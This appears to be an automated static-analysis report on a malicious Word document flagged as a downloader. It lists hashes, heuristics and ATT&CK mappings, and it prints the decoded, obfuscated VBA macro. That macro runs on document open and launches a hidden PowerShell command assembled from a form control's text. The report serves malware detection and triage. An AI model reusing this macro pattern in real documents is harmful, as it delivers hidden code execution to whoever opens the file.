Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9c0a63c7229f5de2…

MALICIOUS

Office (OLE)

266.5 KB Created: 2019-02-04 14:47:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 19f11331003cce359b8b858b560f8dd3 SHA-1: 486b27d152806ef62963933fd3afd1c5e5d65439 SHA-256: 9c0a63c7229f5de2b8bfbebbccc8c1bfb79960dcf22bb052fb92fc662cc9e88d
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro, which is a common technique for initial execution. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute external commands. The script explicitly constructs the command 'powershell shell.exe', suggesting it's designed to download and execute a second-stage payload. The ClamAV detection further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Downloader.Sagent-6846019-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6846019-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2015 bytes
SHA-256: c8376616eaab5c67e4da88bf2be59e8d7635c1c588c95a861144673cf0554c53
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim xDt8mUv(3 To 170) As String
xDt8mUv(3) = "EnGu9m3r"
Dim RqkvlF(3 To 170) As Long
RqkvlF(3) = 167 + 82
Dim q372KOeU6 As Long
q372KOeU6 = (-1355 + 1366) + (33)
Dim bBxQGcbr(166) As Byte
Dim Awtzg As String
Awtzg = M37kvme
Dim QwbaX(12 To 183) As Long
QwbaX(12) = 1800 / 12
Call w("er")
End Sub

Attribute VB_Name = "sK0oxV"
Sub w(Q1qQvoOx)
Dim TL3ADZOM() As Byte
Dim DsEqDNXwG(9 To 105) As Long
DsEqDNXwG(9) = 5952 / 62
Dim eUov3E18() As Byte
Dim KEFa5lbqm() As Byte
Dim MzPONd(217) As Byte
Dim OdoFaI7Nj(4 To 245) As String
OdoFaI7Nj(4) = "YglUvL"
Dim g9R0iZ7HC(6 To 189) As String
g9R0iZ7HC(6) = "zWa41Lq2Q"
Dim NAnoNRP() As Byte
goH8E0P5f = "shell.exe "
Dim ybklnR As Long
ybklnR = (-735 + 746) * (29)
Dim nsQV6pvXl(14 To 98) As Long
nsQV6pvXl(14) = 176 - 65
Dim DcoaZzGA As String
DcoaZzGA = TvHR9i3
Shell aIT4NBw() _
& Q1qQvoOx _
& goH8E0P5f _
& T4HSm _
, 0
Dim PxeiSI(11 To 232) As Long
PxeiSI(11) = 356 - 119
End Sub

Attribute VB_Name = "Bl71g"
Public Function aIT4NBw() As String
Dim qdPLGQZJ As String
qdPLGQZJ = iuomXt
Dim ifpJMOvjx(14 To 101) As String
ifpJMOvjx(14) = "kGKjNs6"
aIT4NBw = "pow"
End Function

Attribute VB_Name = "aDyrIV"
Public Function T4HSm()
Dim GtpFs78 As Object
Set GtpFs78 = New f
Dim WVSy8O() As Byte
Dim ag56Me As String
ag56Me = GtpFs78.de.Text
T4HSm = ag56Me
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{7F8C3A6A-5630-475C-B4CB-D1D2D8585407}{4A925C21-8EF0-4845-9338-5831920F66B2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False